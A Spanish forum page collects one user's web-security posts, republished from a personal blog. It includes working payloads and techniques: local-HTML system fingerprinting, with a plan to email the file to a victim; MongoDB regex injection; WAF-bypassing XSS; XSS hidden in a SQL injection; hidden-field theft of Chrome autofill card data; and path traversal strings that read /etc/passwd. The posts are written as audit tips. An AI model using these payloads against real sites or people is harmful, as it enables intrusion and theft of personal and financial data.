Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - MichBukana

#1
Nivel Web / Fingerprinting with local HTML files
23 Septiembre 2014, 14:24 PM

    [list=1]    Inicio
        La Idea
        Inconvenientes
        Pruebas
            [list=2] Firefox
            IExplorer
            Chrome
            Safari[/list]
        Más ideas
        Planteamiento del ataque[/list]




    Inicio

    El tema del siguiente articulo como bien dice el titulo se trata de la recopilación de información del sistema mediante un fichero HTML que se encuentre almacenado en local.

    Esta técnica que hago pública pretende ser una alternativa a la recopilación de información de un sistema mediante un tipo de fichero no comúnmente utilizado para este fin, que va a resultar menos sospechoso que un binario, evidentemente esta técnica no se puede comparar con la cantidad de información que puede recabar otras herramientas spyware pero como bien digo es una alternativa.

    La idea

    La idea básicamente es utilizar el esquema URI 'file://' para apuntar mediante una etiqueta HTML a un recurso de la maquina en la que se abre el fichero HTML y apoyándose en javascript, más concretamente en los eventos o en el tiempo de retardo de los mismo o en la ausencia de estos, poder identificar si ese recurso existe o no, más delante se detallará más este concepto.

    Inconvenientes

        javascript: Puede ser que se esté bloqueando la ejecución de javascript en la página web que recoge la información del sistema.
        Esquema URI 'file://': El inconveniente de este esquema URI es que no puede ser utilizado si la aplicación web que lo utiliza para hacer referencia a un fichero la brinda un servidor web, o lo que es lo mismo, solo se puede utilizar si la aplicación web que utiliza este esquema URI se abre desde la máquina de la víctima.

    Pruebas

    Con IExplorer es posible detectar los recursos internos de un sistema en el ejemplo siguiente, detectar los directorios de aplicaciones cuando el evento javascript onLoad no es llamado, es decir que cuando un recurso no existe el evento onLoad es llamado y por el contrario cuando existe no lo es.

    En la imagen que se muestra a continuación se puede ver una lista que se determinar cómo se ha explicado antes, dependiendo de si el navegador no llama al evento onLoad cuando se haga referencia a un directorio existente mediante un iframe.

    <iframe src="file://C:/" onLoad="alert('NO EXISTE')">


    Con Firefox al contrario que con IExplorer es posible determinar de si el directorio al que se apunta existe SI el evento onLoad es llamado.

    <iframe src="file://C:/" onLoad="alert('EXISTE')">


    Como conclusión para IExplorer y Firefox se puede decir según las imágenes que es posible determinar: el lenguaje del sistema, el hardware en base al software instalado, software instalado, antivirus, sistema operativo, por fuerza bruta usuarios en el sistema, directorios compartidos, unidades de disco, etc.

    Para Chrome no es tan fácil ya que no se puede en base a eventos determinar nada ya que los eventos son llamados existan o no los directorio utilizando iframe, sin embargo si se puede determinar los directorios con grandes cantidades de ficheros y subdirectorios en base al tiempo de retraso en el renderizado de los mismos.

    En el siguiente ejemplo se apunta a cinco directorios que no existen y a seis que si, como se puede apreciar los que si existen y que además tienen gran cantidad de elementos tardan mucho más en llamar al evento onLoad que va a servir para calcular el tiempo entre la creación del iframe y el final de la cargar del recurso.


    Por ultimo hablar sobre el tratamiento de Safari que cuando la etiqueta apunta a un directorio desde un iframe, el funcionamiento de este se traducía en lanzar un explorador de Windows apuntando al directorio que se había establecido en el atributo src del iframe, entonces dejando de lado la posibilidad de detectar los directorios de forma discreta lo que quedaba era realizar un ataque que se basa en añadir una cantidad ingente de iframe apuntando a directorios existentes del sistema por ejemplo a la unidad C: con ello se consigue que el escritorio de la víctima se vea inundado de ventanas del explorador de Windows.

    Más ideas

    Estos problemas de eventos, ausencias de ellos o retraso en los mismos, o como sucede con Safari que abre un explorador de Windows, no suceden cuando se apunta a imágenes u otro tipo de ficheros según el tipo de etiqueta utilizada.

    <img src="file://C:/test.pngs" onload="alert('existe')">

    <img src="file://C:/no-existe.pngs" onload="alert('existe')">


    Funcional en Chrome, IExplorer, Safari, Firefox.

    De esta forma se podría realizar un script que además de apuntar a directorios apuntase a imágenes, css, js etc para obtener más información del sistema.

    Planteamiento del ataque

    Y para acabar el articulo exponer un simple escenario de ataque donde intervienen un atacante(1) que envía un correo donde adjunta un fichero HTML(2) que va a recabar información del sistema de la víctima y este enviara a un panel de control(3) toda esa información donde a posterior visualizara el atacante.


    Fuente:http://code-disaster.blogspot.com.es
    #2
    Nivel Web / Tip para inyecciones en Mongo DB
    17 Septiembre 2014, 08:34 AM
    En auditorías donde nos encontramos ante bases de datos NOSQL como puede ser Mongo DB uno de los problemas con los que nos solemos encontrar al igual que con bases de datos SQL es el filtrado de los parámetros enviados, este filtrado con la idea de combatir inyecciones se suele centrar en el remplazo o escapado de caracteres como las comillas simples o las dobles y las backslash, pero como veremos en este artículo a veces cuando nos encontramos ante ciertas situaciones es posible sin necesidad de escapar los caracteres entre los que se encuentra enjaulado el parámetro existe posibilidad de obtener todos los resultados de una colección.

    En el ejemplo siguiente, si se estuviesen filtrando caracteres como las comillas simples o las dobles y las backslash no podríamos inyectar otra instrucción

    { "ip" : " Parámetro_enviado_por_GET "}


    Sin embargo si nos encontrásemos con un escenario como el siguiente que aun no siendo tan común es posible, no sería necesario escapar los caracteres anteriormente mencionados para poder armar una buena en la auditoría por ejemplo listando todos los resultados de la colección.


    { "ip" : { $regex: ' Parámetro_enviado_por_GET ', $options: 'i' }}

    Y es que como veremos a continuación, basta con añadir dos caracteres que raramente son tenidos en cuenta a la hora de filtrar los datos de entrada a la aplicación


    Así de sencillo dos puntos o cualquier otro carácter y un asterisco y como se aprecia nos devuelven todos los resultados de la colección, en este caso 50, así que ya sabéis chavales añadid un caracter cualquiera y un asterisco a vuestros diccionarios de inyecciones que os pueden dar una grata sorpresa en vuestras auditorías, a mí me la dio, ya que me devolvieron todos los usuarios y sus datos de la colección ordenaditos en una tabla, que más se puede pedir.


    Fuente: http://code-disaster.blogspot.com.es/
    #3
    Nivel Web / DS_Store Analyzer Online
    4 Septiembre 2014, 09:10 AM
    Bueno para los que no lo sepan los ficheros DS_Store son originales de los sistemas Mac OS que están ocultos, y se encarga el propio Finder de crearlos con información del tipo de vista, iconos, columnas, etc, aparece la configuración de la personalización del directorio donde se ha creado, además de los nombres de los ficheros y directorios que cuelgan de él y por este detalle desde el punto de vista de la seguridad existe una fuga de información, ya que los usuarios incautos al mover directorios en un Mac OS a su servidor web accesible por cualquiera revela ficheros y directorios que tal vez no podrían listarse de otra forma. Hace algún tiempo hice una tool en Java y en C# para obtener nombres de ficheros y directorios ocultos en los ficheros .DS_Store, ya por fin traigo una aplicación online para analizar estos ficheros que encuentro en mis auditorías.

    Lo cierto es que hacía tiempo que andaba con la idea de hacerla online pero por una cosa u otra además por lo cansado que termino cuando llego del curro pues la he ido dejando aparcada, al final aprovechando mis vacas en Fuerteventura me he puesto y la he terminado.


    Imagen1: DS_Store Analyzer Online

    La característica más interesante a remarcar de la aplicación, es la cantidad de patrones de búsqueda utilizados para encontrar los nombres de los ficheros y directorios en el archivo DS_Store.

    Patrones de búsqueda: Ilo, icg, lg1, moD, ph1, lsv, vSr.

    Más adelante mi intención es tener la opción de devolver los resultados en XML o JSON.

    Y sin más les dejo el enlace

    http://disaster-lab.itsm3.com/ds_store.php

    Fuente: http://code-disaster.blogspot.com.es/
    #4
    Nivel Web / XSS con Double URL Encode
    27 Junio 2014, 14:16 PM


    Después de tanto tiempo sin postear nada, traigo un XSS de esos que tan pocos se encuentran y que merecen de una entrada en el blog, ando liado y es cierto que no posteo hace mucho, igual voy encontrándome con casos extraños en el curro y los voy guardando para cuando tenga tiempo darle salida, como lo estoy haciendo hoy con este como poco 'raro' XSS.

    Bueno, deciros que esta inyección se encuentra en un path ya sabéis mod_rewrite, como ya he venido haciendo otras veces por confidencialidad el enlace es cambiado completamente tanto el dominio, como el resto, que luego deis con él dorkeando jeje.

    http://www.xxxxxx.com/imagenes/michyb/


    Como se puede ver la cadena 'michyb' aparece en el HTML devuelto, en la etiqueta TITLE, en la etiqueta META dentro del atributo CONTENT y dentro de un DIV, pero el problema con el que me veo no se soluciona escapando de un atributo de una etiqueta si no como aparece en el título de la entrada se trata de hacerle un 'double url encode' para poder explotar una inyección XSS. Para ello nos vamos a centrar en la etiqueta DIV y vamos a ver cómo reacciona la web ante estos caracteres <d>.


    Al inyectar <d> nos da un error '404 Not Found' esto tiene pinta de tener implementado algún WAF. Después de esta prueba realice dos pruebas más para ir averiguando de qué se trataba.

    www.xxxxx.com/imagenes/michyb>/

    www.xxxxx.com/imagenes/<michyb/

    En los dos casos, el primero para conocer si se trataba del carácter > y el segundo para el <, en las dos pruebas me devolvía un 200 como 'Status Code', con lo cual no se trataba de alguno de estos caracteres por separado, así que me decidí por probar un 'double url encode'.

    1 encode: %3Cmichyb%3E

    2 encode: %253Cmichyb%253E

    Con 'double url encode' la inyección en la URL quedaría así y como se ve en la respuesta nos devuelve un 200 en el 'Status Code'

    http://www.xxxxx.com/imagenes/%253Cmichyb%253E/


    Y Bingo!! Como se ve en el HTML devuelto de la respuesta se encuentra la cadena <michyb> y con ello logramos saltarnos el WAF e incluir etiquetas de cualquier tipo.



    Así que lo último que queda es probar el mítico 'alert' que de veracidad de la explotación, para ello tuve que tener en cuenta que cualquier inyección no era válida ya que es una inyección en el path y no puede llevar ningún 'slash' ya que lo trataría como otro directorio. Así pues me decidí por un <a href=javascript:alert('Hacked!') >Michyb y el resultado fue.


    Saludos y hasta la próxima.

    Fuente:http://code-disaster.blogspot.com.es/2014/06/xss-con-double-url-encode.html
    #5
    Cuando necesitamos auditar una web y queremos tirar de los resultados de google hacking uno de los trucos que suelo tener en cuenta es tirar del operador -inurl: para descartar aplicaciones, variables de aplicaciones incluso dominios que ya he comprobado.
    Un ejemplo sería el siguiente. http://www.tussam.es identifico la tecnología que voy a auditar en este caso php.

    Imagen 1: Búsqueda con Dork sin exclusión

    Entro en el primer resultado compruebo que no haya nada interesante y vuelvo a realizar la búsqueda descartando la variable id ya que he comprobado que no es vulnerable

    Imagen 2: Búsqueda con Dork con exclusión

    El problema de esta consulta es que pueden existir otras aplicaciones o directorios en la web que no contengan precisamente en la variable la cadena id, con lo cual estaríamos descartándola, pero sin embargo seriamos capaces de añadir más cantidad de operadores excluyentes si solo nos fijamos en las variables
    Fijémonos entre la cantidad de exclusiones sin pasarnos del límite de palabras en la consulta, entre "dominio+aplicación+variable" (Primeros 2 bloques) y solo "variable" (último bloque).

    Google
    8 operadores sobrepasa el límite
    site:www.tussam.es inurl:php
    -inurl:www.tussam.es/index.php?id=
    -inurl:www.tussam.es/index.php?id=
    -inurl:www.tussam.es/index.php?id=
    -inurl:www.tussam.es/index.php?id=
    -inurl:www.tussam.es/index.php?id=
    -inurl:www.tussam.es/index.php?id=
    "www" (y las palabras que le siguen) se ignoró porque limitamos las consultas a 32 palabras.

    Google
    Búsqueda Exacta (la ideal)
    Sin pasarme del límite 7 operadores
    site:www.tussam.es inurl:php
    -inurl:www.tussam.es/index.php?id=
    -inurl:www.tussam.es/index.php?id=
    -inurl:www.tussam.es/index.php?id=
    -inurl:www.tussam.es/index.php?id=
    -inurl:www.tussam.es/index.php?id=

    Bing
    Búsqueda Exacta (la ideal)
    13 operadores sin pasarme del limite
    site:www.tussam.es -instreamset:(url):"php"
    -instreamset:(url):"www.tussam.es/index.php?id="
    -instreamset:(url):"www.tussam.es/index.php?id="
    -instreamset:(url):"www.tussam.es/index.php?id="
    -instreamset:(url):"www.tussam.es/index.php?id="
    -instreamset:(url):"www.tussam.es/index.php?id="
    -instreamset:(url):"www.tussam.es/index.php?id="
    -instreamset:(url):"www.tussam.es/index.php?id="
    -instreamset:(url):"www.tussam.es/index.php?id="
    -instreamset:(url):"www.tussam.es/index.php?id="
    -instreamset:(url):"www.tussam.es/index.php?id="
    -instreamset:(url):"www.tussam.es/index.php?id="

    Google
    Búsqueda en base a las variables GET
    Sin pasarme del límite. 30 operadores con variables


    Bing
    Sin pasarme del límite. 20 operadores con variables

    ¿Vale la pena correr el riesgo basándonos solo en las variables? por supuesto que sí, tenemos más cantidad de exclusiones.
    Filtrando correctamente con Google el límite ronda los 7 operadores mientras con Bing llegamos a 13 operadores sin pasarnos.
    En cambio filtrando en base a las variables, Google con 30 frente a los 20 permitidos por Bing, queda claro con cual nos quedaríamos por ello hay que decir que Google la tiene más larga con 30 contra 20 de Bing y es que aquí el tamaño sí importa jeje.
    Bueno pues hice una herramienta para automatizar este proceso, que trabaja con google y con su querido captcha problema que no tenemos con Bing
    La herramienta tiene el siguiente aspecto.

    Imagen 3: AAD Interfaz


    Simplemente es necesario que en la primera entrada de datos se le envié el dork intentando filtrar lo más posible los resultados, por ello que filtro también por la tecnología para evitar html, jpg, png, etc, de este modo acortar los resultados.
    En el segundo filtro se puede especificar con una expresión regular por ejemplo [?] de este modo aparecerían todas las urls parametrizadas, y es que a quien no le gustaría que a google se le pudiesen pasar expresiones regulares eh? El que no le guste que tire la primera piedra... ¬¬ vale sigamos.
    Y la última opción que sirva para ver los operadores de exclusión con las variables GET encontradas en la web.

    Imagen 4: ADD en acción y abajo misma ultima búsqueda de ADD pero en el buscador

    Y hasta aquí este post espero que os haya gustado y es que últimamente no posteo tan seguido por que ando liado con la FaasT y cuando llego a la casa estoy sExo polvo :p.
    Salu2!;

    Se puede descargar de aqui:  https://sourceforge.net/projects/aadgoogle/

    Fuente: http://code-disaster.blogspot.com
    #6
    A finales de 2010, Google introdujo en Chrome autofill, una característica cómoda, pero que puede suponer un problema de seguridad para sus usuarios. Incluso después de que otros navegadores sufrieran problemas de seguridad relacionados con esta funcionalidad, y que la funcionalidad en sí haya sido cuestionada, sigue siendo posible robar la información almacenada del usuario que rellena un formulario sin que lo perciba.
    En general, almacenar datos sensibles en el navegador no suele resultar una buena idea. Justo antes de que Chrome implementara el "Autofill", en verano de 2010, se descubrió cómo sacar todos los datos almacenados en Safari con fuerza bruta en javascript. El usuario rellenaba un campo pero el navegador se encargaba de rescatar todos los demás almacenados, probando todas las letras y dejando que el navegador hiciera el resto. La vulnerabilidad fue parcheada poco después. No hace tanto, en agosto de 2013, se criticó desde muchos frentes lo sencillo que era recuperar contraseñas almacenadas en Chrome, que podían observar en texto plano.
    Con un sencillo método se puede conseguir que el usuario que escribe en un formulario, entregue esos datos a un tercero sin que sea consciente de ello.


    ¿Cómo funciona?

    Autofill de Chrome permite almacenar la dirección postal (dividida en otros datos como nombre, apellidos, teléfono, código postal...) y la tarjeta de crédito (dividida en titular, número y fecha de caducidad). Los datos (excepto la tarjeta de crédito) se pueden sincronizar con la cuenta de Google. El menú de configuración y cómo acceder a él, se observa en la siguiente secuencia de imágenes.


    Imagen 1: Configuración del autofilling.


    Imagen 2: Configuración del autofilling (Direcciones).


    Imagen 3: Configuración del autofilling (Tarjetas de crédito)

    Diferentes pantallas de configuración de "autofill" en Chrome

    Para que un formulario aproveche el autofill, los inputs deben ser debidamente identificados para que Chrome sepa qué valores corresponden.


    Imagen 4: Atributos para el autofilling

    Dispone de cierta heurística para intentar que casen los campos. Por ejemplo sabe que autocomplete="mail" debe ir autocompletado con el mismo contenido que cuando lleva de valor autocomplete="Work  email".

    El "ataque"

    Un atacante puede aprovechar esta característica del navegador para obtener información privada como puede ser los datos del domicilio o datos de la tarjeta bancaria. Planteamos un escenario en el que la víctima visite una página web por https especialmente modificada, introduzca los datos y el atacante se ayude del autofill que ofrece el navegador para obtener datos sensibles almacenados. Todo esto a pesar de las pequeñas trabas que introduce Chrome en su código para evitarlo.
    Por ejemplo, como precaución, Chrome solo proporciona la tarjeta de crédito a páginas bajo https. Esto no es ningún problema para un atacante, pues es solo tiene que operar a través de una conexión SSL. Existen páginas fraudulentas que funcionan con certificados gratuitos.
    El segundo paso es preparar el formulario y ocultar a los ojos de la víctima, los inputs que interesan al atacante. La primera aproximación pensaría en utilizar la etiqueta "hidden". Pero en el input el atributo type no puede llevar ese valor. Una segunda aproximación podría ser introducir el formulario dentro de un div con la propiedad visibility en "hidden"... pero Chrome evita que los inputs sean auto-rellenados cuando se cumplen estas condiciones. ¿Cómo conseguirlo entonces?
    Una fórmula puede ser aprovechar la propiedad de scroll, subiendo la capa algunos píxeles para que no se observen el resto de inputs en los que se pretende recopilar la información. En este caso, el formulario "gancho" se vería:


    Imagen 5: PoC Autofilling

    Pero, usando este "div", conseguimos que en su interior se oculten todos estos inputs y no se visualicen en el navegador:

    div style ="overflow:hidden;height:25px;"


    Imagen 6: Campos ocultos en el formulario.

    Chrome rellenará toda la información adicional sin que la vea el usuario. El atacante, recopilará la información y podrá disponer de muchos más datos de los que cree haber rellenado el usuario.


    Imagen 7: Recolección de los datos robados.

    En resumen, aunque resulte cómodo (para sistemas usados por una misma persona solamente), debe evitarse el uso de la funcionalidad autofill, puesto que se ha demostrado que es posible ofrecer a cualquier página bajo https datos tan sensibles como el número de la tarjeta de crédito y su fecha de caducidad, sin que la víctima sea consciente.
    Para evitar este problema (o potenciales en el futuro), por ahora el mejor remedio es simplemente no utilizar esta funcionalidad.

    Fuente: http://code-disaster.blogspot.com/
    #7
    Nivel Web / Inyecciones en inyecciones SQL
    2 Octubre 2013, 20:54 PM
    La entrada que traigo hoy, trata de como llevar un paso más haya las Union Based SQL Injection, por ejemplo si en algún caso nos vemos frente a una inyección SQL de este tipo, que no contiene datos aprovechables, como pueden ser subir una webshell u obtener las credenciales para acceder al login del gestor de la web que se esté auditando, etc. Se ha de tener en cuenta que un ataque como el Union Based SQL Injection se puede aprovechar de otras formas, y una de estas formas es la que hoy expondré.

    Se trata ni más ni menos que aprovechar los campos imprimibles de la consulta SQL que por debajo está realizando la página web al cambiar los parámetros que se envían por la url. Aprovechándonos de dicha forma lograr inyectar además de la inyección SQL, código javascript, HTML o por qué no realizar un SSI, de este modo podríamos desde ejecutar comandos en una Shell devuelta por el sistema que se muestra en la página (SSI), incluir un iframe para cargar un exploit (HTMLi), leer las cookies, suplantar un formulario como vimos en uno de los anteriores post de este blog http://code-disaster.blogspot.com.es/2013/08/ataques-xss-avanzados-aplicaciones-webs.html; o cualquier otro que se nos ocurra, y es que de esta forma se lograría explotar otro tipo ataque que tal vez por estar bien protegida la web no se podría dar y con ello otra forma de ownear la web.

    A continuación se puede ver un ejemplo de una inyección XSS sobre una inyección SQL ya que no se logró explotar de otra forma un XSS en lo demás de la web, siendo irrelevantes los datos obtenidos en la base de datos.


    Imagen 1: XSS con SQLi en Google Chrome.

    Otro punto a favor de realizar una inyección XSS de esta manera, es que se consigue Bypassear tanto los filtros Anti-XSS de navegadores como Google Chrome (Versión 29.0.1547.76 m) como los de IExplorer (10.0.9200.16660).


    Imagen 2: XSS con SQLi en IExplorer.

    Para realizar este ataque se debe primero preparar la inyección SQL de modo que quede así.
    http://www.localhost.com/test.php?Op=2-1+union+select+1,2,3,4,5,6


    Imagen 3: Búsqueda del campo imprimible.

    Como se puede apreciar el campo imprimible es el que cae en el 5, entonces será cuestión de sustituirlo en este caso por la inyección XSS cifrada en Hexadecimal con cualquier conversor de Ascii a Hex.

    Ascii: <script>alert("code-disaster.blogspot.com")</script>
    Hex: 3c7363726970743e616c6572742822636f64652d64697361737465722e626c6f6773706f742e636f6d22293c2f7363726970743e

    y por ultimo concatenar a la inyección SQL junto con dos paréntesis de apertura al principio, más 0x (que sirve para identificar el cifrado en el gestor de base de datos y que luego va a servir para devolverla impresa en la web en texto plano), más la cadena en Hex y dos cierre de paréntesis al final.

    ((0x3c7363726970743e616c6572742822636f64652d64697361737465722e626c6f6773706f742e636f6d22293c2f7363726970743e))

    Quedando así.
    http://www.local.com/test.php?Op=2-1+union+select+1,2,3,4,((0x3c7363726970743e616c6572742822636f64652d64697361737465722e626c6f6773706f742e636f6d22293c2f7363726970743e)),6


    Fuente: http://code-disaster.blogspot.com/




    #8
    Esta es una práctica que al parecer se está utilizando cada vez más, ya son varias webs que me encuentro con esta forma de acceder a la cuenta de un usuario sin previa autenticación y que encima no caducan las urls pasado cierto tiempo.
    A continuación voy a explicar algunas de las ventajas para un atacante e inconvenientes para los desarrolladores en cuanto al uso de este método.

    Referer
    El Referer sería un vector para obtener estas jugosas urls algo simple de lo que se podría sacar el acceso a la cuenta de la víctima es como si en el Referer se transmitiera las credenciales. Un ejemplo sería realizando una aplicación que recoja los Referer y pidiendo a la víctima que acceda a la web donde se encuentra esta aplicación donde se obtendrán estas urls que transmiten el key para entrar como usuario logead.

    Ficheros del historial de los navegadores
    Otro causa de por qué no utilizar este método y otro truco de como robar estas urls como todas las otras por las que el usuario navega es el fichero donde se guarda el historial  de navegación por ejemplo en Google Chrome con Windows 8 se haya en un fichero que se encuentra en C:\Users\RootedLab\AppData\Local\Google\Chrome\User Data\Default\History Index 2013-09


    Imagen 1: Historial de Chrome

    Google Dork
    Un ejemplo es el caso de www.humblebundle.com se dieron cuenta un poco tarde sin poder evitar la indexación de sus urls ya que como se puede ver en la segunda imagen se encuentra configurado el robots.txt para deshabilitar que se indexe estas urls pero como se ve en la primera imagen se dieron cuenta algo tarde ya que hay indexadas bastantes de ellas con acceso a la cuenta aunque ya reclamadas, por ello esta sería otra truco a tener en cuenta


    Imagen 2: Urls de acceso indexadas

    Imagen 3: Robots.txt

    Fuerza Bruta
    Casos de webs como https://www.humblebundle.com/downloads?key=4vMtRuTHm53R que permiten el acceso a la cuenta a través de la url tienen una clave compuesta de 12 caracteres aleatorios alfanuméricos en minúscula (27), mayúscula(26) y numérica(10) por ello cabe un rango de posibles combinaciones de 63^12 algo inviable por tiempo y recursos además habría que contar con la posibilidad de realizar varias denegaciones de servicio, pero no por ello descartable para otras webs.


    Imagen 4: Cuenta humble

    Otros detalles de por que no usar este método
    Antes se solía mandar al correo un email las webs donde uno se acababa de registrar con el usuario y contraseña una práctica que ya no se suele usar por el hecho de que una vez comprometido el correo un atacante podía ver esas credenciales y ahora con el método del acceso en la url existe otro vector por el que el atacante acceda a X web como usuario logeado teniendo de este modo la misma importancia que enviar las credenciales al correo, aunque no le será tan fácil al atacante que se haya colado en su correo filtrar los emails como se hacía antes con los que contenían credenciales filtrando por "password, contraseña, usuario, login", ya que no hay un patrón que filtre las urls que tenga la clave en la variable... tal vez por key? Para el caso de www.humblebundle.com si hubiese servido, pero cada web tendrá su propio nombre de variable


    Imagen 5: Bandeja de entrada gmail

    Hay que tener en cuenta que cualquier usuario si guarda una url como esta es más susceptible a guardarla sin la seguridad y protección que podría emplear para guardar unas credenciales, por ello resulta más fácil robar una url con el acceso que una combinación de usuario y contraseña


    Fuente: http://code-disaster.blogspot.com/


    #9
    Nivel Web / Tips for develop "Path Traversal" Tool
    5 Septiembre 2013, 11:27 AM

    Tips for develop "Path Traversal" Tool. By Ricardo M.R.

    En esta entrada voy a dar unos trucos para los que decidan desarrollar una herramienta que se aproveche de la vulnerabilidad "Path Traversal o Transversal" primero he de decir que no voy a explicar lo que es, si quieren saberlo pueden buscarlo en wikipedia o googleando un poco , no se trata de eso este post, si no de agilizar en la medida de lo posible la explotación automatizada de esta vulnerabilidad
    Para empezar voy a explicar dos restricciones a nivel de código, dos funciones que pueden (joder) hacer mas compleja su explotación.

    Definiciones
    Basename: Regresa el nombre del archivo o directorio, por ejemplo /var/www/index.html -> regresa 'index.html'
    realpath: Devuelve la ruta de acceso resuelta, resolviendo las referencias de caracteres '/./', '/../' y '/' extra

    Estudio
    Para realizar el escalado de directorios en los diferentes sistemas se utilizan diferentes sintaxis
    ..\..\         Windows
    ../../         Linux
    ../../         Apache
    ./             Apache con "basename" en el código fuente de la app vulnerable

    Uno de los trucos que propongo es la de olvidar buscar ficheros windows y linux, centrándonos unicamente en la sintaxis de Apache teniendo en cuenta el basename y de esta manera si es vulnerable nos centraremos en una única sintaxis para descargar el archivo vulnerable de dentro de directorio web y de esta forma abstraernos del sistema operativo.
    .././
    ../.././

    Otra cosa a tener en cuenta es ir tan atrás como podamos en los directorios desde la primera petición ya que es posible no llegar pero seguro funciona si nos pasamos, esto no es nada nuevo, un simple recordatorio no aplicable al ejemplo anteriormente explicado:
    Suponiendo el siguiente caso
    /var/www/down/download.php?f=img.jpg
    "Arbitrary file download"
    Para acceder a /etc/passwd desde el download.php (fichero vulnerable)
    ../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd     correcto
    ../../etc/passwd                                                                                   incorrecto
    Siendo que basta solamente con ir atrás 3 saltos
    ../../../etc/passwd para llegar al etc/passwd

    Desarrollando la App
    Un "Paso a Paso" de un caso común:

    A la url se le inyecta por cada parámetro:
    [linux] ../../../../../../../../../../../../../../../../etc/group
    [windows] \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts
    con lo cual una url tal que así
    http://pepe.com/?a=1&b=2
    terminaría variando como se aprecia a continuación:
    2 peticiones en los 2 parámetros para la descarga del fichero "etc/group" en Linux.
    http://pepe.com/?a=[linux]&b=2
    http://pepe.com/?a=1&b=[linux]
    y 2 peticiones en los 2 parámetros para la descarga del fichero "hosts" en Windows
    http://pepe.com/?a=[windows]&b=2
    http://pepe.com/?a=1&b=[windows]

    Con Mod_Rewrite, Sin basename y sin realpath

    ----------------TRUCO 1---------------------------------
    Ejemplo: http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg
    En este posible caso el fichero ptraversal.php realmente no se encuentra en ./PathTraversal/ptraversal.php
    ya que con mod rewrite se ha especificado que cuando se acceda a http://localhost/PathTraversal/ptraversal.php
    se redirija a ./xxx/yyyy/zzzz/PathTraversal/ptraversal.php
    por ello se va a realizar las pruebas estándar para win y linux
    ../../../../../../../../../../../../../../../../etc/group
    \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts

    ----------------TRUCO 2---------------------------------
    Se hace una petición para producir un error:
    http://xxxxx.com/download.php?file[]='
    Si en el "Source" se encuentra un "FPD" se obtiene la ruta interna y se concatena a la url
    <b>/home/jonathan/public_html/download.php</b>
    tal que así, logrando de esta forma tener la ruta real (absoluta).
    http://xxxxx.com/download.php?file=/home/jonathan/public_html/download.php

    Sin Mod_Rewrite, Con basename y con realpath

    ----------------TRUCO 1---------------------------------
    Ejemplo
    http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg
    Primero se corta la url desde dominio/ hasta ?
    PathTraversal/ptraversal.php
    se añade el ./
    ./PathTraversal/ptraversal.php

    Y a partir de aquí se intenta escalar directorios
    http://localhost/PathTraversal/ptraversal.php?archivo=./PathTraversal/ptraversal.php erróneo
    http://localhost/PathTraversal/ptraversal.php?archivo=.././PathTraversal/ptraversal.php correcto
    Si lo que devuelve en la descarga del fichero o en la visualización de la web contiene <? y ?> podemos decir que es vulnerable ya que nos encontramos frente a "arbitrary file download" o un "Local File Include" (LFI).


    Fuente: http://code-disaster.blogspot.com/
    #10
    Hoy traigo una herramienta que fue publicada en http://www.elladodelmal.com/2013/04/extraer-lista-de-urls-de-ficheros.html hace unos meses cuando aún estaba realizando las prácticas del ciclo superior de Desarrollo de Aplicaciones Web (DAW), quise algún día traerla y hoy ya toco.

    Glosario
    .DS_Store (Desktop Services Store) es un archivo oculto exclusivo del sistema operativo de Apple Inc. Mac OS X para almacenar los atributos personalizados de una carpeta, como puede ser la posición de los iconos o la imagen de fondo.

    Estos ficheros suelen encontrarse en paginas webs al realizar la subida de un directorio junto con los ficheros .DS_Store ocultos de un Mac OS X y por ello algunos se pueden encontrar indexados a los buscadores. Estos ficheros se puede encontrar dorkeando en Google con un dork tal que así, inurl:.ds_store intext:Bud1 o de esta otra forma ext:ds_store Bud1


    Imagen 1: Busqueda con Dork

    Estos ficheros como se puede apreciar en la siguiente imagen tiene un "Head" propio de propio de ellos que contiene la cadena Bud1 además de un cuerpo en el que se encuentra un patrón al final de los nombres de ficheros y directorios "Ilocblob" que los identifican


    Imagen 2: Fichero .DS_Store

    La herramienta que he desarrollado se encuentra compilada en C# y Java además de sus correspodientes SRC donde podréis ver e investigar como funciona, esta versión no esta lo depurada que me hubiese gustado pero realiza su objetivo listando de la URL donde se encuentra el fichero .DS_Store los nombres de ficheros y directorios escondidos en el.

    Para un ejemplo se realizo la prueba contra esta web que además de contener dicho fichero tiene un directorio abierto, con lo cual se pueden contrastar los resultados extraídos por la herramienta y los que se listan en la propia web y es que esta herramienta es una gran alternativa a listar directorios que se encuentran protegidos y con ello no son listados.


    Imagen 3: Directorio abierto

    Una vez lanzada la aplicación se puede ver como quedo el resultado en la siguiente captura.


    Imagen 4: Resultado de la iDStore

    Se puede apreciar los ficheros que en un principio estuvieron, con errores 404 y que ahora no están y los que aún continúan estando

    Source en C# y Java + compilados
    http://sourceforge.net/projects/idstore/files/

    Ya van 165 descargas

    Fuente: http://code-disaster.blogspot.com/
    #11
    Hoy les traigo 3 ejemplos de aplicaciones en webs vulnerables a inyecciones XSS, a continuación se va a demostrar cómo es posible realizar varios ataques XSS avanzados, donde se interceptan las credenciales de un login vulnerable con dos ejemplos:

    1. Añadir imagen invisible superpuesta al botón del submit del form del login
    2. Cambiar action de un form

    Glosario de terminos

    XSS: del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web vistas por el usuario código javascript o en otro lenguaje script similar.
    Scam: es el nombre utilizado para las estafas a través de medios tecnológicos. A partir de la definición de estafa, se define scam como el 'delito consistente en provocar un perjuicio patrimonial a alguien mediante engaño y con ánimo de lucro; utilizando como medio la tecnología'.
    Phising: es un término informático que denomina un tipo de abuso informático y que se comete mediante el uso de un tipo de ingenieria social caracterizado por intentar adquirir información confidencial de forma fraudulenta.

    Ejemplo 1:

    Como se puede apreciar esta sería la URL junto a la inyección XSS que se enviará a las víctimas.
